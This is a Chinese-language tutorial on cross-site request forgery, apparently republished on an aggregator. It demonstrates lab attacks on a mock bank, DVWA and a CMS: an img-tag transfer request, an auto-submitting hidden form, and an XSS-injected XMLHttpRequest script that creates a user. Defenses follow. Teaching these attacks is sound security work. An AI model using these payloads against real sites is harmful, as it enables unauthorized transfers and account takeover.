跨站请求伪造(CSRF)

这篇具有很好参考价值的文章主要介绍了跨站请求伪造(CSRF)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

渗透测试漏洞原理

跨站请求伪造(CSRF)

跨站请求伪造(CSRF),网络安全,安全,系统安全

1. CSRF概述

1.1 基本概念

​ 跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Wb应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。

​ 借助于社工的一些帮助,例如,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF攻击会危及整个Wb应用程序。

1.1.1 关键点
  • 受害者没有退出登录,受害者保持身份认证。
  • CSRF继承了受害者的身份和特权,代表受害者执行非本意的、恶意的操作。
  • CSRF会借用浏览器中与站点关联的所有身份凭据,例如用户的会话Cookie,IP地址,Windows域凭据等。
1.1.2 目标

CSRF 的目标是更改用户账户的状态,攻击者利用CSRF 发送的请求都是更改状态的请求,比如,转账、更改密码,购买商品等等。

CSRF 的场景中,攻击者是没有办法获得服务器的响应。

1.2 CSRF场景

1.2.1 银行账户转账

搭建模拟银行网站 http://192.168.188.183/bank/ 。

跨站请求伪造(CSRF),网络安全,安全,系统安全

1.2.2 构造虚假网站

构造CSRF 攻击连接。

<meta charset='utf-8'>
<img src='./1.jpg'><br/> 
<img src='http://192.168.188.183/bank/action.php? username=hacker&money=100&submit=%E4%BA%A4%E6%98%93' alt='宝刀在手,谁与争锋'>
  • 攻击者通过 <img> 标签构造GET 请求。

  • 浏览器根据 <img> 标签中的 SRC 属性,请求服务器资源,会自动带上身份认证信息。

1.2.3 场景建模

跨站请求伪造(CSRF),网络安全,安全,系统安全

1.2.4 实验

该银行场景一共四个用户。

跨站请求伪造(CSRF),网络安全,安全,系统安全

其中hacker是黑客,账户余额为0。

admin用户可以给其他用户转账,admin给hello用户转账100块

跨站请求伪造(CSRF),网络安全,安全,系统安全

hello用户账户增加100块。

跨站请求伪造(CSRF),网络安全,安全,系统安全

如果admin用户访问了黑客提供的网站。并且点击了第一个链接。

跨站请求伪造(CSRF),网络安全,安全,系统安全

admin就会向黑客用户转账100元。

跨站请求伪造(CSRF),网络安全,安全,系统安全

黑客用户原先的余额

跨站请求伪造(CSRF),网络安全,安全,系统安全

admin用户点击黑客提供的链接后的余额:

跨站请求伪造(CSRF),网络安全,安全,系统安全

查看页面的请求数据,数据提交是在路径中进行的

跨站请求伪造(CSRF),网络安全,安全,系统安全

黑客利用admin访问bank网站的cookie信息。当访问csrf网站的时候,csrf向bank发送请求,bank网站中存储着bank网站的cookie信息,那么在响应的时候,也会将cookie信息携带上。

这个就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

跨站请求伪造(CSRF),网络安全,安全,系统安全

1.3 CSRF类别

以上场景中完成转账的关键操作是GET 请求。把转账操作改用POST 请求,是不是就能够防御CSRF 漏洞了呢?

1.3.1 POST方式
<meta charset='utf-8'>
<form name='csrf' action='http://192.168.188.183/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'> 
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />

这里第二个链接就是POST请求,admin用户点击第二个链接。

跨站请求伪造(CSRF),网络安全,安全,系统安全

跨站请求伪造(CSRF),网络安全,安全,系统安全

同样黑客用户的账户增加100块。

1.4 CSRF验证

bp中有一个Target功能模块,然后点击Site map ,会形成一个目录结构。

bp作为代理分析网站的时候,会自动检测安全风险,当前这里检测的只是一些非常初级的。

跨站请求伪造(CSRF),网络安全,安全,系统安全

右键目标主机,有两个功能选项:主动扫描主机,被动扫描主机。

跨站请求伪造(CSRF),网络安全,安全,系统安全

扫描到主机的风险列表:

跨站请求伪造(CSRF),网络安全,安全,系统安全

1.4.1 CSRF Poc generator

Burp Suite 自带插件,可以根据请求构造表单,进行CSRF 漏洞验证。

这里以DVWA靶场为例,在CSRF这里,选择Low级别。

修改admin的密码为123456。

跨站请求伪造(CSRF),网络安全,安全,系统安全

抓包查看修改密码的数据包。

跨站请求伪造(CSRF),网络安全,安全,系统安全

然后使用bp来生成漏洞验证代码。右键点击点击Engagement tools选择Generate CSRF PoC

跨站请求伪造(CSRF),网络安全,安全,系统安全

将之前的123456密码修改为123.com,然后点击浏览器中测试。

跨站请求伪造(CSRF),网络安全,安全,系统安全

复制该URL地址

跨站请求伪造(CSRF),网络安全,安全,系统安全

在admin用户没有退出DVWA靶场的时候,访问了这个链接,点击提交请求。

跨站请求伪造(CSRF),网络安全,安全,系统安全

admin退出登录后以密码是123456来进行登录,发现登录失败。这个时候密码已经被修改为123.com了。

跨站请求伪造(CSRF),网络安全,安全,系统安全

通过bp验证存在CSRF漏洞。

1.5 XSS与CSRF的区别

攻击方式不同

  • XSS:XSS 攻击利用网页中存在的漏洞,注入恶意脚本代码,通过用户浏览器执行这些恶意脚本。攻击者可以窃取用户的敏感信息、劫持用户会话、修改网页内容等。
  • CSRF:CSRF 攻击则是利用用户的身份和权限发送未经授权的请求,通过伪装合法用户的请求来执行恶意操作。攻击者诱导用户访问恶意网站或点击恶意链接,在用户登录状态下发送伪造的请求。

攻击目标不同

  • XSS:XSS 攻击主要针对用户的浏览器,通过操纵网页内容来威胁用户的隐私和安全。
  • CSRF:CSRF 攻击主要针对受信任网站的用户,试图利用他们在目标网站上的身份和权限执行未经授权的操作。

攻击手段不同

  • XSS:XSS 攻击通过注入恶意脚本代码来实现,可以利用的漏洞包括反射型、存储型和 DOM 型 XSS。
  • CSRF:CSRF 攻击则依赖于目标网站的业务逻辑漏洞,攻击者构造伪造请求并诱使受害者执行。

防御策略不同

  • XSS:防御 XSS 攻击的主要方法包括对用户输入进行过滤和转义、使用 CSP(内容安全策略)限制脚本执行、设置 HttpOnly 标志等。
  • CSRF:防御 CSRF 攻击的主要方法包括使用 CSRF 令牌(加入一个随机生成的令牌,验证每个请求的合法性)、检查请求的来源 referer 头信息、使用 SameSite Cookie 属性等。

2. CSRF攻防

2.1 CSRF实战

2.1.1 与XSS漏洞相结合

首先确定目标网站存在XSS漏洞

攻击者可以利用XSS触发CSRF攻击。因为可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.4.7.1/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=ajest&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>
2.1.2 实验

修改密码这里是无法进行CSRF攻击的,因为这里攻击者在构造的时候需要输入原密码。

跨站请求伪造(CSRF),网络安全,安全,系统安全

我们需要在添加用户的功能模块下完成实验。

点击添加账号

跨站请求伪造(CSRF),网络安全,安全,系统安全

添加一个wuhu用户

跨站请求伪造(CSRF),网络安全,安全,系统安全

使用bp抓包,查看添加用户的请求

跨站请求伪造(CSRF),网络安全,安全,系统安全

POST /cms/admin/user.action.php HTTP/1.1
Host: 192.168.188.183
Content-Length: 107
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.188.183
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.188.183/cms/admin/user.add.php?act=add
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: username=admin; userid=1; PHPSESSID=a41pppsn1s0ven64a8smevjhsf; security=low
Connection: close

act=add&username=wuhu&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0

攻击者可以利用XSS触发CSRF攻击。因为可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.188.183/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=wuhu&password=123.com&password2=123.com&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

然后将wuhu用户删除了。

再将构造的攻击代码提交到cms网站的留言板模块

跨站请求伪造(CSRF),网络安全,安全,系统安全

提交成功

跨站请求伪造(CSRF),网络安全,安全,系统安全

管理员登录后进行留言管理,看到了我们刚才的留言,意味着触发攻击了。

跨站请求伪造(CSRF),网络安全,安全,系统安全

使用wuhu这个用户登录系统,密码123.com。

跨站请求伪造(CSRF),网络安全,安全,系统安全

登录成功!

2.2 CSRF防御

2.2.1 无效防御
  • 使用秘密的Cookie。
  • 仅接收POST请求
  • 多步交易:多步交易,有可能会被恶意攻击者预测。
  • URL重写:用户的身份信息会暴露在URL中,不建议通过引入另外一个漏洞来解决当前漏洞。
  • HTTPS:所有安全机制的前提。
2.2.2 有效防御

验证Referer字段:

  • 前URL的上一个URL。
  • 转账页面到转账操作。
  • 伪造?

添加Token验证:

跨站请求伪造(CSRF),网络安全,安全,系统安全

  • 二次验证:在关键操作之前,再输入密码或者验证码。

  • HttpOnly:某些情况下禁止JS 脚本访问Cookie 信息。PHP: setcookie - Manual。

    跨站请求伪造(CSRF),网络安全,安全,系统安全

  • SameSite:Cookie 属性,浏览器自带的安全机制。

2.2.3 HttpOnly实验

验证:

创建一个function目录,在目录中创建一个setcookie.php文件。

跨站请求伪造(CSRF),网络安全,安全,系统安全

然后编写函数

<?php
	setcookie("username","wuhu",time()+3600,"","","",false);
?>

这里将httponly参数设置为false。

跨站请求伪造(CSRF),网络安全,安全,系统安全

在浏览器中进行页面访问,打开F12,输入如下命令:

alert(document.cookie);

跨站请求伪造(CSRF),网络安全,安全,系统安全

cookie信息成功弹出。

点击Application查看Cookie信息。

跨站请求伪造(CSRF),网络安全,安全,系统安全

将Cookie信息删除,再次输入命令。这次没有弹出Cookie信息。

跨站请求伪造(CSRF),网络安全,安全,系统安全

现在将httponly参数设置为true。

跨站请求伪造(CSRF),网络安全,安全,系统安全

点击Application查看Cookie信息,现在HttpOnly开启了,之前是没有开启的。

跨站请求伪造(CSRF),网络安全,安全,系统安全

再次输入alert(document.cookie);,发现弹框中没有任何信息。

跨站请求伪造(CSRF),网络安全,安全,系统安全文章来源地址https://www.toymoban.com/news/detail-682630.html

到了这里,关于跨站请求伪造(CSRF)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CSRF - 跨站请求伪造

    目录 1、什么是CSRF 2、CSRF的攻击过程和原理 3、CSRF的类型有哪些 4、CSRF的防御 5、CSRF与XSS有何不同 6、没有防御的CSRF 跨站请求伪造(Cross-site request forgery),CSRF是指利用受害者尚未失效的身份认证信息(登录状态中的Cookie等),诱骗受害者点击恶意链接,或者访问包含攻击代

    2024年04月08日
    浏览(32)
  • CSRF(跨站请求伪造)

    CSRF(Cross Site Request Forgery, 跨站请求伪造 )。是一种对网站的恶意利用, 通过伪装来自受信任用户的请求来利用受信任的网站 。 原理 是攻击者构造网站后台某个功能接口的请求地址,诱导用户去点击或者用特殊方法让该请求地址自动加载。用户在登录状态下这个请求被服

    2024年01月16日
    浏览(30)
  • CSRF(跨站请求伪造)原理

    (Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式

    2023年04月08日
    浏览(37)
  • 漏洞篇(CSRF跨站请求伪造)

    目录 一、CSRF 原理 1、CSRF 漏洞的定义 2、XSS 与 CSRF 的区别 3、CSRF 的简单理解 二、基于 DVWA 的 low 级别演示 CSRF 攻击  1、查看源代码 2、构造 URL 链接 3、验证 CSRF 攻击  4、构造恶意链接 5、短连接介绍 三、基于 DVWA 的 Medium 级别演示 CSRF 攻击 1、查看源代码 2、直接修改密码和

    2024年02月01日
    浏览(33)
  • 渗透测试漏洞原理之---【CSRF跨站请求伪造】

    1、CSRF概述 1.1、基本原理 1.1.1、基本概念 跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求

    2024年02月10日
    浏览(31)
  • 跨站请求伪造 CSRF 漏洞原理以及修复方法

    漏洞名称 :跨站请求伪造(CSRF) 漏洞描述 : 跨站请求伪造攻击,Cross-Site Request Forgery(CSRF),攻击者在用户浏览网页时,利用页面元素(例如img的src),强迫受害者的浏览器向Web应用服务器发送一个改变用户信息的HTTP请求。CSRF攻击可以从站外和站内发起。从站内发起CS

    2024年02月20日
    浏览(31)
  • CSRF(跨站请求伪造)和SSRF(服务端请求伪造)漏洞复现:风险与防护方法

    这篇文章旨在用于网络安全学习,请勿进行任何非法行为,否则后果自负。  环境准备 示例: 假设用户在银行网站A上登录并保持会话活动,同时他也在浏览其他网站。攻击者在一个不可信任的网站B上创建了一个恶意链接,当用户点击该链接时,会自动向银行网站A发送一个

    2024年02月10日
    浏览(34)
  • Web漏洞之CSRF(跨站请求伪造漏洞)详解

    我们知道了同源策略可以隔离各个站点之间的 DOM 交互、页面数据和网络通信,虽然严格的同源策略会带来更多的安全,但是也束缚了 Web。 这就需要在安全和自由之间找到一个平衡点,所以我们默认页面中可以引用任意第三方资源 ,然后又引入 CSP 策略来加以限制;默认 X

    2024年02月03日
    浏览(36)
  • 21 - form表单验证 和 csrf跨站请求伪造

             (1). 官网:               (2). 安装第三方库          (3). form类型和校验             (1). settings.py 设置随机字符串         (2). app.py  全局使用csrf保护         (1). 新建form.py 文件, 定义 form 表单数据         (2). view.py 调用表单对象 ,返回给前端      

    2024年02月10日
    浏览(34)
  • jenkins 关闭关闭CSRF Protection(跨站请求伪造保护)

    我的jenkins版本是:2.332.4 Jenkins版本自2.204.6以来的重大变更有:删除禁用 CSRF 保护的功能。 从较旧版本的 Jenkins 升级的实例将启用 CSRF 保护和设置默认的发行者,如果之前被禁用。 老版本Jenkins的CSRF保护功能只需要在 系统管理 全局安全配置 中便可进行打开或者关闭。让人头

    2024年02月15日
    浏览(37)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包